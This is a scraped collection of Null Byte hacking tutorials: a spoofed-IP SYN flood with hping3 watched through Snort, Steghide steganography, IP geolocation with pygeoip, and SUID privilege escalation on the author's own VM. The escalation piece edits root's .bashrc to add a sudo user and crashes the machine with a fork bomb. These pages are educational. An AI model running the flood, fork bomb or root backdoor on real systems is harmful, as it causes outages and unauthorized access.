uses of social engineering in the real world. Upon finishing each call, we can post them to YouTube so the rest of the community can hear the devious tactics that went down.You are free to try a call if you think you are up to it. You will see some really intense stuff and it's not for the faint of heart. Be prepared to hear businesses you interact with often gleefully handing out your personal information on a whim to a person without identity.Feel free to sign up for calls below.Be a Part of Null Byte!Post to theforumChat onIRCFollow onTwitterCircle onGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhoto byjpgmagRelatedHow To:Learn the Secrets of PsychologyHack Like a Pro:How to Spear Phish with the Social Engineering Toolkit (SET) in BackTrackHow To:Use Social Engineering to Hack ComputersHow To:Use Social Engineering to Find Out More Information About a CompanyHow To:Hide What You're Listening To on Spotify So Your Friends Don't Make Fun of YouHack Like a Pro:The Ultimate Social Engineering HackSocial Engineering:How to Use Persuasion to Compromise a Human TargetHow To:Use "SET", the Social-Engineer ToolkitThe Hacks of Mr. Robot:How to Send a Spoofed SMS Text MessageSocial Engineering:The Most Powerful HackListen In:Live Social Engineering Phone Calls with Professional Social Engineers (Week 2)Listen In:Live Social Engineering Phone Calls with Professional Social EngineersSocial Engineering, Part 1:Scoring a Free Cell PhoneNews:Live Social EngineeringHow To:Proof of Social Engineering Success!Weekend Homework:How to Become a Null Byte Contributor (2/17/2012)How To:Score Free Game Product Keys with Social EngineeringXbox LIVE Achievement:How to Earn Free Microsoft Points with Social EngineeringHow To:Social Engineer Your Way Into an Amusement Park for FreeSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordNews:Google social web engineer Joseph Smarr talks about lessons from Google+How To:Advanced Social Engineering, Part 1: Exact Revenge on Craigslist Scammers with Tabnab PhishingSocial Engineering:The BasicsHow To:recognize Crowd Control - Part 1Weekend Homework:How to Become a Null Byte Contributor (2/10/2012)How To:The Social Engineer's Guide to Buying an Expensive LaptopNews:Social Hacking and Protecting Yourself from Prying EyesHow To:Social Engineer Your Debt Collectors Into Giving You More Time to Pay BillsNews:Top 13 Google Insiders to Follow on Google+News:Engineering Degree Program TipsHow To:Unban Your Xbox LIVE Account That is Banned Until 12/31/9999 by Tricking Microsoft's Banning SystemHow To:The Official Google+ Insider's Guide IndexNews:Welcome to the Google+ Insider's Guide!News:UET,lahore,pakistan |
Spy Tactics Β« Null Byte :: WonderHowTo | No content found. |
Hack Like a Pro: Digital Forensics for the Aspiring Hacker, Part 4 (Evading Detection While DoSing) Β« Null Byte :: WonderHowTo | Welcome back, my hackers novitiates!As you read myvarious hacking tutorials, you're probably asking yourself, "What are the chances that this hack will be detected and that I'll land behind bars, disappointing my dear mother who already thinks I'm a loser?"In this tutorial, I will try to answer that question by running an attack against a vulnerable system, but with anNetwork Intrusion Detection Systemin place monitoring for malicious traffic, i.e. you.We'll be usingSnort, the ubiquitous NIDS, to identify the attack and the attacker. Snort, having been purchased by the networking giant Cisco in 2013, is likely to continue its position as the world's most-widely used detection system. Using it here, we should get a good idea of how a security engineer at the victim company will view our remote exploits/hacks.If you're unfamiliar with Snort, take a look at my previous guides onevading an NIDS using Snortandreading and writing Snort rulesbefore continuing.Step 1: Open Up SnortSnort is built intoBackTrack, so there's no need to download and install. We simply need to start the Snort daemon (Services, then Snort) and then run Snort. We can start Snort with its configuration file by typing:bt > snort -vde -c /etc/snort/snort.confWhen we do so, Snort will begin sniffing traffic off the wire and analyzing it for signatures of malicious traffic.The Importance of Using a DoS AttackThe first attack we want to view through the eyes of the security engineer at Victim Inc., is the ever populardenial of service(or DoS) attack. The beauty of DoS attacks is that they are simple and relatively easy to perform. In addition, because you do not need a TCP connection and return traffic, you can spoof your IP address without any downside.Although the attacker will not gain any info or credit card numbers by performing a DoS attack, they can certainly do significant financial harm to the victim, especially to e-commerce sites. For instance, last year Amazon generated $70B in sales from their website. That works out to $192 million per day, or $8M every hour, and $133,181 for every MINUTE. To put it another way, a DoS attack against Amazon that is successful for JUST 10 minutes, would cost them $1.3 million!There are numerous tools on the market that can be used for DoS. In this case, we will use one of my favorite tools,hping3βa versatile tool that I refer to as a "packet crafting tool" because it enables us to basically create just about any type of packet we can imagine. If you aren't familiar with hping, check out my tutorial onconducting active recon on your target with hping3.Step 2: Use a SYN Flood Attack & Spoof Your IP AddressAmong the simplest DoS attacks is the SYN flood attack, which sends millions of TCP packets at the target with the SYN flag set, in essence, asking the system to establish a TCP connection. It never creates a TCP connection, so the server never logs the IP address (all successful connections are logged). It uses up all the bandwidth on the network as well as all the connection queue, so that new connections cannot be established.As for the target and the security engineer there, they will see the flood of SYN packets coming and trace the attack to the IP address on the packets, i.e. YOURS. To avoid this, hping enables us to spoof our IP address so that the flood appears to be coming from another IP. In this case, let's use Microsoft's IP address, so the attack appears to be coming from our friends at Microsoft.We can start a SYN flood with hping by typing:bt > hping3 -S -a 65.55.58.201 192.168.1.101 -p 80 --flood-Sis the packet flag type (SYN)-a= spoof the following address65.55.58.201is the spoofed IP address (Microsoft's)-p 80= the port to send the packets to--flood= send the packets as fast as you canHping in--floodmode won't show any returned packets, as it will just be way too many to display on the screen. In addition, since we spoofed Microsoft's IP address, any responses are going there.Step 3: Check the AlertsIf you still have the Snort terminal open, you're seeing thousands of packets going by. Let's stop Snort withControl C. When we do that, we'll see that Snort will display some statistics for us. If we scroll up a bit, we can see the number of alerts that were generated. I ran hping3 for just a few seconds and it generated 91 alerts on Snort.Now, let's open our Snort alerts file. This is the file that Snort generates to alert the security engineer of any malicious activity. We can use any text editor, but here I am simply going to usethe tail commandin Linux to see the end of the file. When you have large log or alert files, tail is perfect tool as it will only show the "tail" of the file (the most recent additions).To see the last 50 lines of the Snort alerts, I can type:tail -50 /var/log/snort/alertWhen we do, we will see several alerts that were triggered by our attack.Notice in the fourth line from the bottom that the alert references the appropriate Microsoft TechNet Security Bulletin, which in this case is MS01-059.Step 4: Reference Microsoft's Security BulletinsWe can now go toMicrosoft's Technet Bulletinsto see what Mr. Gates has to say about this attack. For more info on what the Technet Bulletins are, check out my guide onfinding the latest exploits and vulnerabilities directly from Microsoft.Below is a copy of the page for MS01-059.Note the highlighted area. It reads:"An attacker could specify a third-party server as the host for the device description in the NOTIFY directive. If enough machines responded to the directive, it could have the effect of flooding the third-party server with bogus requests, in a distributed denial of service attack. As with the first scenario, an attacker could either send the directives to the victim directly, or to a broadcast or multicast domain."Snort has classified our attack as a DoS attack. Although it appears to Snort that it might be a DDoS, it did a pretty good job of detecting our attack and notifying the security admin. Now when the admin attempts to trace the attack, it will take him directly to Microsoft.You're Safe from Detection!So, for now, you will avoid an extended stay in the concrete 8 by 8 foot room and save your dear mother from heartbreak, but she still kinda thinks you're a loser, albeit, a lovable one.Keep coming back, my hacker novitiates, formore Null Byte adventures, and make sure to keep tabs on my section onDigital Forensics for the Aspiring Hackerto stay up to date on recent forensics tutorials.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseDirty pig snoutimage via ShutterstockRelatedHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Digital Forensics Using Kali, Part 1 (The Tools of a Forensic Investigator)News:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 11 (Using Splunk)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 5 (Windows Registry Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 6 (Using IDA Pro)News:What to Expect from Null Byte in 2015News:Why YOU Should Study Digital ForensicsHow To:Become a Computer Forensics Pro with This $29 TrainingHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 8 (More Windows Registry Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 2 (Network Forensics)Hack Like a Pro:Networking Basics for the Aspiring Hacker, Part 2 (TCP/IP)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 10 (Identifying Signatures of a Port Scan & DoS Attack)Hack Like a Pro:How to Evade a Network Intrusion Detection System (NIDS) Using SnortHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 12 (Windows Prefetch Files)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 15 (Parsing Out Key Info from Memory)News:Airline Offers Frequent Flyer Miles to HackersHack Like a Pro:Digital Forensics Using Kali, Part 2 (Acquiring a Hard Drive Image for Analysis)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 9 (Finding Storage Device Artifacts in the Registry)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 5 (Msfvenom)Hack Like a Pro:How to Conduct Active Reconnaissance and DOS Attacks with NmapHacking macOS:How to Create an Undetectable PayloadHow To:Why You Should Study to Be a HackerHack Like a Pro:How to Change the Signature of Metasploit Payloads to Evade Antivirus DetectionGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 1 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingLevitation Challenge:Evading Arrest |
Steganography: How to Hide Secret Data Inside an Image or Audio File in Seconds Β« Null Byte :: WonderHowTo | Steganography is the art of hiding information in plain sight, and in this tutorial, I'll show you how to useSteghideβ a very simple command line tool to do just that. In addition, I'll go over a bit of conceptual background to help you understand what's going on behind the scenes. This is a tool that's simple, configurable, and only takes a few seconds to hide information in many file types.What Is Steganography?Unlike encryption, where it's obvious that a message is being hidden,steganography hides data in plain view, inside a file such as a picture. As far as images are concerned, to anyone who isn't aware that it contains hidden data, it looks like just a normal, innocent picture.Steganography is useful in situations where sending encrypted messages might raise suspicion, such as in countries where free speech is suppressed. It's also frequently used as a digital watermark to find when images or audio files are stolen. And on a less practical note β it's just cool.More Info:A Beginner's Guide to SteganographyHow Is Steganography Implemented?There are several different techniques for concealing data inside of normal files. One of the most widely used and perhaps simplest to understand is the least significant bit technique, known commonly as LSB.This technique changes the last few bits in a byte to encode a message, which is especially useful in something like an image, where the red, green, and blue values of each pixel are represented by eight bits (one byte) ranging from 0 to 255 in decimal or 00000000 to 11111111 in binary.Changing the last two bits in a completely red pixel from 11111111 to 11111101 only changes the red value from 255 to 253, which to the naked eye creates a nearly imperceptible change in color but still allows us to encode data inside of the picture.This diagram shows two 4-pixel images in both color and binary values. Each block of binary represents the value of the corresponding pixel.The least significant bit technique works well for media files, where slightly changing byte values creates only slight imperceptible changes, but not so well for things like ASCII text, where a single bit out of place will completely change the character. That's not to mention the fact that data hidden using LSB steganography is also easy to detect if someone is looking for it.For this reason, there are a plethora of other steganography techniques out there, each with their own benefits and drawbacks. Another far less detectable one is called the discrete cosine transform coefficient technique (I know, it's a mouthful), which slightly changes the weights (coefficients) of the cosine waves that are used to reconstruct a JPEG image.Using Steganography EffectivelyKeeping in mind that certain digital steganography techniques are better than others, generally, it's best to avoid the LSB technique and go for something a bit more sophisticated. In fact, designing your own steganography algorithm isn't terribly difficult if you already have good coding and math foundations. But to get a feel for how steganography works, LSB, which Steghide uses, will do just fine here.Two other things to consider are encryption and compression. Encrypting data before embedding it adds an extra layer of security while compressing your data will obviously allow you to fit more into your cover file. Both encryption and compressions schemes can be included as optional parameters in Steghide, and we'll cover these below.Step 1: Embed Hidden Data into a FileUsing Steghide is very easy. To install it from the terminal in Linux, just useapt.apt-get install steghideOnce it's installed, in order to embed data in a file, type the command below.steghide embed -efsecretFile-cfcoverFile-sfoutputFile-zcompressionLevel-eschemeThe arguments are broken down as follows:-efspecifies the path of the file that you want to hide. You can embed any kind of file inside of the cover file, including Python scripts or shell files.-cfis the file that the data is embedded into. This is restricted to BMP, JPEG, WAV, and AU files.-sfis an optional argument that specifies the output file. If this is omitted, the original cover file will be overwritten by your new steganographic file.-zspecifies the compression level, between 1 and 9. If you prefer not to compress your file, use the argument-Zinstead.-especifies the type of encryption. Steghide supports a multitude of encryption schemes, and if this argument is omitted by default, Steghide will use 128-bit AES encryption. If you prefer not use encryption, simply type-e none.In my example, I'm hiding secret text inside an image of a cat. I'm not overwriting the original image or compressing it, nor do I care about encryption right now.steghide embed -ef secret.txt -cf StegoCat.jpg -e none -ZDon't Miss:Hide Data in Audio Files (Just Like Elliot in Mr. Robot)This is an example of how to use Steghide from the terminal.Once you have executed the Steghide command, you will be prompted to set a password that will allow you to extract the embedded data later. So enter your passphrase and re-enter it to confirm. Once you get used to this process, it'll only take seconds to hide your data inside an image or audio file with Steghide.Here is a side-by-side comparison of the original image and the steganographic image. Can you detect any difference?Image by Hisashi/FlickrStep 2: Extract Hidden Data from the FileExtracting hidden data from a steganographic image is even easier. The command uses the syntax below.$ steghide extract -sf stegoFile -xf outputFileOnce you run this command, you'll be prompted to enter the same password you created above in order to create the extracted file. It's that simple!I've extracted the stego data from the image to a file and displayed its contents in the terminal.Hiding Data in Images Is Just Too EasyThe advantage of steganography is that you can hide data in plain sight, but you can really blow it if you don't follow some common sense rules. First, the small differences steganography introduces are hard to detect β unless you have the original.Using an image you found off the internet without modifying it significantly makes it easy to detect that an image has hidden information. To check this, try areverse Google Image searchto make sure the original isn't floating around somewhere.I hope you enjoyed this tutorial and realized just how easy it is to use steganography. It literally only takes a moment to hide secret messages inside media files, and whether you're doing it for copyright protection or just to be cool, steganography has a multitude of applications.Thanks for reading, and if you have any questions, feel free to ask me in the comments below or on [email protected]'t Miss:How to Hack Forum Accounts with Password-Stealing PicturesFollow Null Byte onTwitter,Flipboard, and https://[www.youtube.com/channel/UCgTNupxATBfWmfehv21ym-g?sub_confirmation=1 YouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by Black Slash/Null Byte (andHisashi/Flickr); Screenshots by Black Slash/Null ByteRelatedHow To:An Introduction to Steganography & Its UsesThe Hacks of Mr. Robot:How to Hide Data in Audio FilesHow To:Encode Secret Text-Based Messages into Bitmap Images in Windows 8How To:Obtain Valuable Data from Images Using Exif ExtractorsHow To:Hide secret data inside a photo with a stenography appHow To:Use Zero-Width Characters to Hide Secret Messages in Text (& Even Reveal Leaks)How To:Lock Your Photos, Videos, Files, & Passwords in a Digital Safe for iOSHow To:Hide secret files inside JPEG images on WindowsHow To:Hide Secret Messages in AudioHow To:Hack Forum Accounts with Password-Stealing PicturesHow To:Create a hidden operating system within an operating system with TrueCryptHow To:Hide a secret text in a .wav sound fileHow To:Use BlackBerry Locker to Keep Your Files & Apps PrivateHow To:Hide Secret Files on Your Galaxy S5 Using Samsung's Built-In Private ModeHow To:9 DIY Home Remedies for Relieving Itchy Mosquito BitesHow To:Hide Sensitive Files in Encrypted Containers on Your Linux SystemHow To:Monitor Cellular & Wi-Fi Data Speeds from Your Samsung Galaxy Note 2's Status Bar or Notification TrayHow To:Use Your New Terabyte of Free Flickr Storage for More Than Just Photos Using This HackHow To:Keep Your Secret Stash a Secret with This DIY Hidden Bookcase DoorHow To:Make a Super Secret Batman-Style Bust Switch for Your Batcave (Or Just Your Lights)How To:A Guide to Steganography, Part 1: How to Hide Secret Messages in ImagesHow To:A Guide to Steganography, Part 2: How to Hide Files and Archives in Text or Image FilesHow To:A Guide to Steganography, Part 3: How to Hide Text and Images in PicturesNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Three: Hidden ServicesSecure Your Computer, Part 4:Use Encryption to Make a Hidden Operating SystemHow To:Make a Super Secret Book SafeNews:Finding Hidden Metadata in Images (Oh, the Possibilities)How To:Backup All of Your Xbox 360 Data to Your ComputerHow To:Create Secret Staircases with Lever Actuated Trapdoors in MinecraftHow To:Don't Get Caught! How to Protect Your Hard Drives from Data ForensicsHide Your Secrets:How to Password-Lock a Folder in Windows 7 with No Additional SoftwareHow To:Hide Your Secret Files in a JPG Image Without Exposing Anything in ADS (Alternate Data Streams)How To:Hide a Secret Chest Inside of a Block and Keep Thieves Away for Good!How To:Conceal a USB Flash Drive in Everyday ItemsSecure Your Computer, Part 3:Encrypt Your HDD/SSD to Prevent Data TheftHow To:Encrypt Your Sensitive Files Using TrueCryptHow to Hack Your Game Saves:A Basic Guide to Hex EditingNews:Anonymity, Darknets and Staying Out of Federal Custody, Part One: Deep WebNews:If You Are Crazy For Farmville - Secrets Revealed!How To:Copy & Convert your Skyrim Game Save from the Xbox 360 to your PC |
Hack Like a Pro: How to Find the Exact Location of Any IP Address Β« Null Byte :: WonderHowTo | Welcome back, my tenderfoot hackers!Have you ever wondered where thephysicallocation of an IP address is? Maybe you want to know if that proxy server you are using isactuallyout of your local legal jurisdiction. Or, maybe you have the IP address of someone you are corresponding with and want to make certain they are where they say they are. Or, maybe you are a forensic investigator tracking down a suspect who wrote a threatening email or hacked someone's company.Now you can find the location of that IP address without a subpoena or search warrant.A company calledMaxMindmaintains a database of the location of every IP address on the planet complete with GPS coordinates, area code, zip code, and country. This database is not in a typical relational database format, but rather in a flat file. MaxMind charges a $370 site license and $90/month (or $1360/year) for updates to this database. Their software has a beautiful front end that makes querying the database easy enough that even Windows or Mac users can manage.MaxMind also gives away a free developers version of this database without any software or tools to read it. Although slightly less accurate than the commercial version, the price is certainly right. All we need to find the location of the IP is a program to read this data.Two programmers, Jennifer Ennis and T. Williams, have developed a small Python script called pygeoip and released it under the GPL license that enables us to input an IP address and output this critical information. I think this tutorial is self-explanatory, but if you want to refresh your Python skills before diving in, take a look atour Python tutorials.Step 1: Fire Up Kali & Open a TerminalThe first step, of course, is to fire up our our trustyKalisystem, or in this case,any Linux distribution. Then, open a terminal.Note: Be cautious of the formatting below for commands. The formatting of this article will create big space gaps since it stretches lines out to fit the margins. This is because of long URLs that try to fit themselves on a separate line. Large spaces equals just one space, so keep that in mind. Refer to the screenshots to see how they actually look.Step 2: Download the DatabaseNow we need to download the database from MaxMind, and we can get it by typing the following.kali > wget -N -qhttp://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gzThen we need to unzip it.kali> gzip -d GeoLiteCity.dat.gzLet's now check that the database is in place by listing the directory.kali > ls -alh GeoLiteCity.datStep 3: Download & Install PygeoipNext, we need to install the Python script to read the database, pygeoip. We can download it by typing the following.kali > wgethttp://pygeoip.googlecode.com/files/pygeoip-0.1.3.zipThen, unzip it.kali > unzip pygeoip-0.1.3.zipWe next need to download some setup tools into the pygeoip directory.kali > cd /pygeoip-0.1.3kali > wgethttp://svn.python.org/projects/sandbox/trunk/setuptools/ez_setup.pykali > wgethttp://pypi.python.org/packages/2.5/s/setuptools-0.6c11-py2.5.eggLet's now move and then build and install the setup tools.kali > mv setuptools-0.6c11-py2.5.egg setuptools-0.7a1-py2.5.eggkali > python setup.py buildkali > python setup.py installWe need to move the database to the pygeoip directory so that script can access it without having to use the full path.kali > mv GeoLiteCity.dat /pygeoip-0.1.3/GeoLiteCity.datStep 4: Query the DatabaseNow that we have the database in place and the pygeoip script downloaded and installed, we can begin to query that database with pygeoip.First, we need to start a Python shell.kali > pythonThen, you will be greeted will the triple >>> indicating you are now in an interactive python shell. Let's import the module and instantiate the class.>>>import pygeoip>>>gip = pygeopip.GeoIP('GeoLiteCity.dat')Next, we are ready to begin our query. Let's see where Google is located.>>>rec = gip.record_by_addr('64.233.161.99')>>>for key.val in rec.items():... print "%s: %s" %(key,val)...Please note that it is critical to indent the "print". If not, you will throw an error.As you can see, we were able to locate Google's IP in Mountain View, CA at area code 650, postal code 94043, longitude -122.0574, and latitude 37.4192. Not bad! Now, let's try to locate the IP of cnn.com.Once again, the combination of the database and pygeoip script was able to provide us with key location information on CNN's IP address.This little tool is great for locating any IP address in the world, albeit, it is a bit clunky. Maybe someone here in the Null Byte community with good Python skills would like to write an interactive script with a nice user interface where the user can simply enter the IP and get the record information?Keep coming back, my tenderfoot hackers, as we continue to explore the tools and techniques of hacking!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedHacker Fundamentals:The Everyman's Guide to How Network Packets Are Routed Across the WebHacker Fundamentals:A Tale of Two StandardsHow To:Use Dropbox to Track and Locate Your Stolen LaptopHow To:Trace Any IP AddressHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:Networking Basics for the Aspiring Hacker, Part 1Instagram 101:How to Remove Your Location from Instagram PhotosHow To:Find someone's IP addressHow To:Find the Location of Any IP with PyGeo IP Locator(GUI for GeoIP/Pygeoip)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)How To:Find the IP address of a websiteHow To:Understand & Use IPv4 to Navigate a NetworkHow To:Save Both a Home & Work Address on Google Maps When You Work from HomeHow To:Linux Basics for the Aspiring Hacker: Using Ship for Quick & Handy IP Address InformationHow To:Assign a Static IP Address in Windows 7Hacker Fundamentals:A Gentle Introduction to How IP Addresses WorkHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItHow To:Chain Proxies to Mask Your IP Address and Remain Anonymous on the WebHow To:Make a Change-of-IP Notifier in PythonHow To:Find your external IP addressHow To:Bypass a Local Network Proxy for Free InternetHow To:Turn Your House Lights On & Off Using the InternetHow To:Code a Basic TCP/IP Client & Server Duo in PythonMastering Security, Part 2:How to Create a Home VPN Tunnel |
Shodan Β« Null Byte :: WonderHowTo | No content found. |
How to Use a Misconfigured SUID Bit to Escalate Privileges & Get Root Β« Null Byte :: WonderHowTo | Gaining access to a system is always exciting, but where do you go from there? Root or bust. Sure, a compromised host is a great way to run a botnet, or do some other boring, nefarious thingβbut as hackers, we want root. We also want to take the easiest path possible, search out low-hanging fruit, and exploit them. SUID programs are the lowest of the low-hanging fruit.In this article, we will be using the Linuxfind commandto search for SUID (set user identification) programs to escalate our privilege level. AnSUID bitis a special permission in Linux that allows a program to run as the program's owner for all users on the system that have access to it. It's very rare that the first point of access to a host is a root shell, so if it happens to you, it's like winning the lotteryβcherish the moment.The ScenarioDon't Miss:How to Create a Virtual Hacking LabWe have been given access to the system as an unprivileged user. The challenge? Obtain root anyway we can. It's a rare situation, and we're going to make the most of it. In this case, since the host is my own virtual machine, I've given myself a couple of SUID programs to exploit for illustrative purposes. Let's get started!Step 1: Locate Potential SUID ProgramsOur first step is to locate our SUID root programs. If this search doesn't turn up anything abnormal, I would search for all SUID programs in the hopes of compromising a user with a bit more access. The command for this is:find / -user root -perm -4000 -print 2>/dev/nullIn plain English, this command says to find files in the / directory owned by the user root with SUID permission bits (-perm -4000), print them, and then redirect all errors (2= stderr) to/dev/null(where they get thrown away). The reason for this redirect is that we aren't interested in things that we can't access, and access denied errors can fill up a terminal pretty fast.In the list above, bothnmapand vim.basic are of particular interest. Earlier versions of nmap allowed an interactive mode, and vim.basic is a simple text editor which also has an interactive mode.Neither of these should really be SUID root. There is a case for nmap due to some functionality not working, unless you can craft raw packets. I can't think of a case for vim.basic, but just because I can't think of one doesn't mean that someone else somewhere hasn't. Like most misconfigurations, this one is probably driven by convenience. In some Linux versions running nmap with SUID root in interactive mode, it will allow the user to escape to a root shell. The same is true of vim.basic.Step 2: Test Them OutFirst up is nmap. Let's start it in interactive mode with the command:nmap --interactiveAfter starting nmap in interactive mode, let's try to escape to a shell using the command!sh. The!runs a command in the foreground, and in this case, we're trying to runsh.Nmap escapes us to a shell, but we're still an unprivileged user. Had this worked the way I've seen on some systems, we would have a root shell. In this case, it didn't work out. Privilege escalation isn't always cut and dry; Sometimes things that work on one system don't work on another. (Savvy hackers may notice that this nmap version is extremely out of date and is potentially a vulnerable application.)Next, let's look at vim.basic. I tried the same shell escape technique as above, but no dice. The system is spawning the shell as our current user, the same as nmap did. If either of these had allowed us to escape to a shell, we would have been done. Now we need to a bit of lateral thinkingβvim.basic is still SUID root, so maybe there's a better way to go about it?After executing !sh in vim.basic.Let's try to open a privileged file using vim.basic, in this case,/etc/sudoers. This file contains rules for the sudo command, which users are allowed to use, and what commands they are allowed to use it with. The sudo command allows users to execute commands as root.vim.basic /etc/sudoersIt's successful! We can now gather information as root, and the potential with just this is incredible. But we still don't have a root shell. From here, there are many ways to move forward and gain root access, such as directly editing the sudoers file to give ourselves access. This can be dangerous if we don't get the syntax correct, because the sudo command could stop working entirely. Usuallyvisudo, which includes built-in syntax checking, is used to edit the sudoers file.Step 3: Get a Root ShellSince we are not concerned about covering our tracks at all, and since this is just a VM, let's go ahead and have some fun. First, let's edit/root/.bashrcand give our user root access:vim.basic /root/.bashrcThen, at the bottom, add:adduser arimmer sudoSince.bashrcis executed by bash at login, this should give us root access via sudo the next time root logs in. Now we need a reason for root to log in. Since we're not worried about being discovered, let's opt for a fork bomb::(){ :|: & };:This is just a simple bash function that calls itself, and then pipes the output to another call of the function endlessly. Sure enough, it causes the system to crash. That should get a reboot and a root log in.After the machine crashed, I went ahead and reset the VM and logged in as root, which gave the message, "Adding user arimmer to group sudo." Obviously, this is noisy and less than ideal in a situation where we don't want to be caught. While there are more quieter ways, this one is quick, and we could have skipped that message by redirecting output to/dev/null.Now let's log in as arimmer and see what happens.Perfect! While this example is obviously set up in a VM, it's illustrative of the issues with SUID commands. It might seem that this kind of issue wouldn't crop up in the wild, but I've seen similar issues and leveraged them to escalate privilege. When trying to elevate privilege, having a big bag of tricks is important. In some cases, it might be this easy, in others, you may need to be a bit trickier.However difficult it gets, it is important to remember the first goal is low-hanging fruit. Always start from the easiest exploits working your way up to the most difficult. In this example, the nmap command didn't really help us at all. Rather than continue to beat my head against it, I moved on, and in this case, it paid off. I'll take full root access from the find command over searchingExploitDBand working with proof of concepts any day.If anyone in the community has another direction they would've taken this in, I'd love to hear it.Follow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseScreenshots by Barrow/Null ByteRelatedHack Like a Pro:Finding Potential SUID/SGID Vulnerabilities on Linux & Unix SystemsHow To:Find & Exploit SUID Binaries with SUID3NUMHow To:Use LinEnum to Identify Potential Privilege Escalation VectorsHow To:Use Postenum to Gather Vital Data During Post-ExploitationHacking macOS:How to Perform Privilege Escalation, Part 1 (File Permissions Abuse)How To:Bypass UAC & Escalate Privileges on Windows Using MetasploitHow To:Find Exploits & Get Root with Linux Exploit SuggesterHow To:Perform Local Privilege Escalation Using a Linux Kernel ExploitHack Like a Pro:The Hacker MethodologyHow To:Get Root Filesystem Access via Samba Symlink TraversalHow To:Hack Metasploitable 2 Including Privilege EscalationHow To:Hack Your Kindle Touch to Get It Ready for Homebrew Apps & MoreHow To:Attack a Vulnerable Practice Computer: A Guide from Scan to ShellHow To:Get Root Access on OS X Mavericks and YosemiteNews:Another Security Concern from OnePlus β Backdoor Root App Comes Preinstalled on Millions of PhonesNews:Linux Kernel Exploits Aren't Really an Android ProblemHow To:Get Root with Metasploit's Local Exploit SuggesterHow To:Protect Yourself from macOS High Sierra's Glaring Empty-Password Security FlawHow To:Abuse Vulnerable Sudo Versions to Get RootHow To:Root the Nexus 6 Using Windows, Mac, or LinuxHow To:Root Your LG G3 (Any Carrier Variant)How To:Executive PrivilegeRoot Exploit:Memodipper Gets You Root Access to Systems Running Linux Kernel 2.6.39+Hack Logs and Linux Commands:What's Going On Here?How To:Hack Mac OS X Lion PasswordsHow To:How Cross-Site Scripting (XSS) Attacks Sneak into Unprotected Websites (Plus: How to Block Them)How To:Perform a Local Privilege Escalation on Mac.Spain:5 banks downgraded, Bankia seeks 19 billion euros in aidPet Portrait Challenge:Xena by the PoolHow To:9 Beer-Spiked Recipes for Your Next Cooking AdventureHow To:Chain VPNs for Complete AnonymityHow To:Mask Your IP Address and Remain Anonymous with OpenVPN for Linux |
